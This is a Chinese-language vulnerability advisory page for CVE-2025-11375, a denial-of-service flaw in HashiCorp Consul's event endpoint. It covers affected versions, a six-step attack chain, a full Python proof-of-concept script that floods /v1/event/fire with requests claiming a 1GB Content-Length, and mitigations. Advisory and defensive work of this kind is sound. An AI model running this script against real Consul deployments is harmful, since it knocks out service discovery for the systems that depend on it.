IPBUF安全漏洞报告
English
CVE-2025-11375 CVSS 6.5 中危

CVE-2025-11375: Consul事件端点Content-Length Header拒绝服务漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-11375
漏洞类型
拒绝服务(DoS)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HashiCorp Consul, Consul Enterprise

相关标签

拒绝服务DoSContent-LengthConsulHashiCorp事件端点内存耗尽CVE-2025-11375

漏洞概述

CVE-2025-11375是HashiCorp Consul和Consul Enterprise产品中的一个中等严重性拒绝服务漏洞。该漏洞存在于Consul的事件端点(event endpoint)中,根源是HTTP请求的Content-Length header缺乏最大值限制。攻击者可以通过发送带有超大Content-Length值的HTTP请求来触发该漏洞,导致Consul服务器分配大量内存,最终造成服务资源耗尽和拒绝服务状态。由于该漏洞利用门槛较低(只需低权限认证),且攻击向量为网络层面,攻击者可以远程发起攻击,对使用Consul进行服务发现的分布式系统构成严重威胁。受影响版本覆盖了Consul的多个主流分支,官方已在1.22.0及多个企业版补丁版本中修复此问题。

技术细节

该漏洞的核心问题在于Consul的事件端点对HTTP请求中的Content-Length header没有进行合理的最大值校验。当客户端发送一个Content-Length值极大的HTTP POST请求时,Consul服务器会根据该值预分配相应大小的内存缓冲区。在恶意攻击场景下,攻击者可以构造Content-Length远超实际body大小的请求,迫使服务器分配大量内存。如果同时发送多个此类请求,将导致服务器内存快速耗尽,无法响应正常请求,最终触发拒绝服务。攻击者仅需拥有Consul的低权限账户即可利用此漏洞,无需特殊权限或用户交互。由于Consul常用于微服务架构中的服务发现和配置管理,此类DoS漏洞可能影响整个分布式系统的可用性。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Consul服务,确认版本是否在受影响范围内(<1.18.12, <1.20.8, <1.21.6, <1.22.0)
STEP 2
步骤2: 获取低权限凭证
攻击者获取Consul的ACL token(event:write权限),可通过默认令牌、配置错误或低权限账户获取
STEP 3
步骤3: 构造恶意请求
攻击者构造HTTP POST请求到/v1/event/fire端点,设置超大Content-Length header(如1GB)但实际发送极小的body数据
STEP 4
步骤4: 发送攻击载荷
通过脚本或工具向Consul事件端点发送多个恶意请求,触发服务器内存预分配
STEP 5
步骤5: 资源耗尽
Consul服务器因内存分配过多而资源耗尽,无法处理正常请求,触发拒绝服务
STEP 6
步骤6: 影响扩散
由于Consul常用于服务发现,受影响服务将无法正常注册和发现,导致整个分布式系统瘫痪

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11375 PoC - Consul DoS via Large Content-Length This PoC demonstrates the DoS vulnerability in Consul's event endpoint by sending HTTP requests with extremely large Content-Length values. """ import requests import argparse import time def exploit_consul_dos(target_url, token, num_requests=10): """ Send malicious requests with large Content-Length to Consu event endpoint Args: target_url: Base URL of Consul instance token: Consul ACL token (requires event:write permission) num_requests: Number of malicious requests to send """ headers = { 'X-Consul-Token': token, 'Content-Type': 'application/json', # Malicious large Content-Length value 'Content-Length': '1073741824' # 1GB } # Minimal or empty body while Content-Length claims huge size payload = '{"Name": "test-event"}' endpoint = f"{target_url}/v1/event/fire" print(f"[*] Targeting: {endpoint}") print(f"[*] Sending {num_requests} malicious requests with Content-Length: 1073741824") for i in range(num_requests): try: response = requests.post( endpoint, headers=headers, data=payload, timeout=30 ) print(f"[+] Request {i+1}/{num_requests} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request {i+1} failed: {e}") def main(): parser = argparse.ArgumentParser(description='CVE-2025-11375 PoC') parser.add_argument('--target', required=True, help='Consul target URL') parser.add_argument('--token', required=True, help='Consul ACL token') parser.add_argument('--count', type=int, default=10, help='Number of requests') args = parser.parse_args() exploit_consul_dos(args.target, args.token, args.count) if __name__ == '__main__': main()

影响范围

Consul Community Edition < 1.22.0
Consul Enterprise 1.18.x < 1.18.12
Consul Enterprise 1.20.x < 1.20.8
Consul Enterprise 1.21.x < 1.21.6
Consul Enterprise 1.22.x < 1.22.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在负载均衡器或API网关层限制HTTP请求的Content-Length大小,建议设置为合理上限(如1MB);2) 启用Consul的流量限制功能,限制单IP的请求频率;3) 加强ACL策略管理,限制谁可以访问事件端点;4) 监控Consul服务器的内存使用情况,设置告警阈值;5) 考虑使用网络层ACL限制对Consul API端口(8500)的访问,仅允许受信任的IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表